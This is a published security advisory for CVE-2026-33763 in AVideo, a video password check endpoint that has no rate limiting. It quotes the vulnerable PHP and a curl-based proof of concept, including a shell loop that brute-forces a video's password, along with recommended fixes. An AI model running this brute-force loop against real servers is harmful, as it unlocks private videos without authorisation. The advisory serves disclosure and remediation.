CVE-2026-33763: AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle
Summary The getapivideopasswordiscorrect API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean passwordIsCorrect field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.
Published Mar 26, 2026 · Updated Mar 27, 2026
Affected packages
wwbn/avideo
- Ecosystem
- Composer (PHP)
- Affected
- <= 26.0
- Fixed in
- No patched version yet
- Check
composer show wwbn/avideo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The get_api_video_password_is_correct API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean passwordIsCorrect field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.
Details
The vulnerable endpoint is defined at plugin/API/API.php:1111-1133:
public function get_api_video_password_is_correct($parameters)
{
$obj = new stdClass();
$obj->videos_id = intval($parameters['videos_id']);
$obj->passwordIsCorrect = true;
$error = true;
$msg = '';
if (!empty($obj->videos_id)) {
$error = false;
$video = new Video('', '', $obj->videos_id);
$password = $video->getVideo_password();
if (!empty($password)) {
$obj->passwordIsCorrect = $password == $parameters['video_password'];
}
} else {
$msg = 'Videos id is required';
}
return new ApiObject($msg, $error, $obj);
}The get() dispatcher at API.php:191-209 routes GET requests directly to this method without any authentication enforcement:
public function get($parameters) {
// ... optional user login if credentials provided ...
$APIName = $parameters['APIName'];
if (method_exists($this, "get_api_$APIName")) {
$str = "\$object = \$this->get_api_$APIName(\$parameters);";
eval($str);
}
}The application has a checkRateLimit() mechanism (line 5737) that is applied to user registration (line 4232) and user deactivation (line 5705), but is not applied to this password verification endpoint.
Additionally, video passwords are stored in plaintext (objects/video.php:523-527):
public function setVideo_password($video_password) {
AVideoPlugin::onVideoSetVideo_password($this->id, $this->video_password, $video_password);
$this->video_password = trim($video_password);
}The comparison at line 1125 uses loose equality (==) rather than strict equality (===).
PoC
Step 1: Identify a password-protected video
curl -s "http://localhost/plugin/API/get.json.php?APIName=video&videos_id=1" | jq '.response.rows[0].video_password'A non-empty value (e.g., "1") indicates the video is password-protected.
Step 2: Test incorrect password (oracle returns false)
curl -s "http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=wrongguess"Expected response:
{"response":{"videos_id":1,"passwordIsCorrect":false},"error":false}Step 3: Brute-force the password
for pw in password 123456 secret admin test video1 qwerty; do
result=$(curl -s "http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=$pw" | jq -r '.response.passwordIsCorrect')
echo "$pw: $result"
[ "$result" = "true" ] && echo "FOUND: $pw" && break
doneNo rate limiting is encountered regardless of request volume.
Step 4: Unlock the video with the discovered password
curl -s "http://localhost/view/video.php?v=1&video_password=DISCOVERED_PASSWORD" -c cookies.txtThe password is stored in the session (CustomizeUser.php:806-807) granting persistent access.
Impact
An attacker can brute-force the password of any password-protected video on the platform without authentication. Since video passwords are typically simple shared secrets (not per-user credentials), common password dictionaries are likely to succeed quickly. Successful exploitation bypasses the access control for password-protected content, which may include commercially sensitive, private, or restricted video content. The lack of any rate limiting means an attacker can test thousands of passwords per second.
Recommended Fix
- Add rate limiting to the endpoint using the existing
checkRateLimit()mechanism:
public function get_api_video_password_is_correct($parameters)
{
$this->checkRateLimit('video_password_check', 5, 300); // 5 attempts per 5 minutes per IP
$obj = new stdClass();
$obj->videos_id = intval($parameters['videos_id']);
// ... rest of existing code
}- Hash video passwords using
password_hash()/password_verify()instead of plaintext storage and loose comparison:
// In setVideo_password:
$this->video_password = password_hash(trim($video_password), PASSWORD_DEFAULT);
// In the check endpoint:
$obj->passwordIsCorrect = password_verify($parameters['video_password'], $password);- Use strict comparison (
===) if plaintext passwords must be retained temporarily during migration.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-55173
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
high8.1No fixJun 23, 2026GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
medium5.4No fixJun 23, 2026CVE-2026-33684
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
medium5.3Jun 22, 2026CVE-2026-33692
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
high7.5Jun 22, 2026CVE-2026-33731
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
medium6.5Jun 22, 2026CVE-2026-49279
WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)
high7.7No fixJun 4, 2026
